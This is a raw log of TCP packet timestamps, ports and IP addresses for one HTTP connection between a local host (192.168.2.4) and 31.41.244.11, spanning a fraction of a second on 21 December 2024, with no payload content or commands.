Dec 21, 2024 10:15:34.985791922 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.985827923 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.986490965 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.986685991 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.986835957 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.987332106 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.987468958 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.987498999 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.987550974 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.988384008 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.988534927 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.988579988 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.988579988 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.988955975 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.989000082 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.989083052 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.989129066 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.989892960 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.989943027 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.990097046 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.990187883 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.990648985 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.990704060 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.990712881 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.990767002 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.991472960 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.991525888 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.991554976 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.991851091 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.992512941 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.992523909 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.992590904 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.992590904 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.993159056 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.993231058 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.993388891 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.993464947 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.993925095 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.994029999 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.994095087 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.994177103 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.994812965 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.994982958 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.995070934 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.995677948 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.995690107 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.995755911 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.996386051 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.996627092 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.996758938 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.997239113 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.997329950 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.997344971 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.997454882 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.998085022 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.998096943 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.998148918 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.999006987 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.999026060 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.999104023 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.999104023 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.999712944 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.999878883 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.999905109 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.999990940 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.000586987 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.000639915 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.000730991 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.001483917 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.001496077 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.001558065 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.002216101 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.002315044 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.002346992 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.002392054 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.002975941 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.003031015 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.003148079 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.003251076 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.003833055 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.003904104 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.003933907 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.004009008 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.004684925 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.004745007 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.004769087 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.005337000 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.005496979 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.005543947 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.005587101 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.005714893 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.006381035 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.006392002 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.006591082 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.007206917 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.007257938 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.007288933 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.007352114 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.007958889 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.008096933 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.008131981 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.008218050 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.008735895 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.008874893 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.008897066 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.008991003 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.009768963 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.009779930 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.009824038 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.010437965 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.010536909 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.010569096 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.010880947 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.011229992 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.011331081 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.011394024 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.012029886 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.012125015 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.012151003 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.012268066 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.013029099 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.013039112 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.013101101 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.013681889 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.013724089 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.013792992 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.014147043 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.014501095 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.014585018 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.014646053 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.014723063 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.015556097 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.015676022 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.015722036 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.016141891 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.016302109 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.016382933 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.016412020 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.016541004 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.017009974 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.017124891 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.017174006 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.017174006 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.017847061 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.017998934 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.018023968 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.018270016 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.018714905 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.018774986 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.018814087 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.018857956 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.019500017 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.019576073 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.019610882 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.020606041 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.020617008 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.020663023 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.020699024 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.021184921 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.021260977 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.021393061 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.021442890 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.022037983 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.022048950 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.022110939 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.172936916 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.173046112 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.173095942 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.173095942 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.173208952 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.173348904 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.173389912 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.173389912 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.174144983 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.174241066 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.174319029 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.174396038 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.175066948 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.175226927 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.175261021 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.175275087 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.175302029 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.175345898 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.176022053 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.176091909 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.176171064 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.176265955 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.177027941 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.177112103 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.177139044 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.177205086 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.177747011 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.177759886 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.177881956 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.178654909 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.178817034 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.178885937 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.178885937 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.179378033 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.179538012 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.179559946 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.179985046 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.180268049 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.180279970 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.180325985 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.181201935 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.181214094 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.181225061 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.181241989 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.181260109 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.181298018 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.181996107 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.182008028 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.182065964 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.182348013 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.182554960 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.182585955 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.182794094 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.183463097 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.183475018 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.183547974 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.184000015 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.184079885 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.184194088 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.184353113 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.185131073 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.185142994 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.185236931 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.185555935 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.185642004 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.185741901 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.185928106 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.186849117 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.186861038 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.186940908 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.187405109 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.187416077 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.187480927 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.187480927 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.187870026 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.187881947 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.187946081 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.187946081 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.188411951 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.188502073 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.188534975 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.188600063 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.189167023 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.189512968 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.189543962 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.189640045 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.190200090 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.190316916 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.190371990 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.190872908 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.190947056 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.190970898 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.191044092 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.191689968 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.191762924 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.191836119 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.191884041 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.192507029 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.192668915 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.192692041 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.192899942 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.193357944 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.193414927 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.193451881 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.193716049 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.194153070 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.194196939 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.194231033 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.194372892 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.195003033 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.195100069 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.195128918 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.195192099 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.195868969 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.195966005 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.196012020 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.196134090 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.196646929 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.196686029 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.196748018 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.196890116 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.197470903 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.197525024 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.197596073 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.197611094 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.197793961 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.198252916 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.198337078 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.198415995 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.198473930 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.199115038 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.199219942 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.199245930 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.199291945 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.200050116 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.200191975 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.200220108 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.200300932 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.200742960 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.200788975 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.200839043 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.200927973 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.201575041 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.201625109 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.201761007 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.201834917 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.202456951 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.202491999 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.202536106 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.202536106 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.203226089 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.203293085 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.203351021 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.203433990 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.203977108 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.204044104 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.204121113 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.204267979 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.204818010 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.204941034 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.204969883 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.205111027 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.205661058 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.205708981 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.205780029 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.205823898 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.206478119 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.206671953 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.206671953 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.206777096 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.207349062 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.207395077 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.207461119 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:35.207561970 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:35.208251953 CET	80	49808	31.41.244.11	192.168.2.4
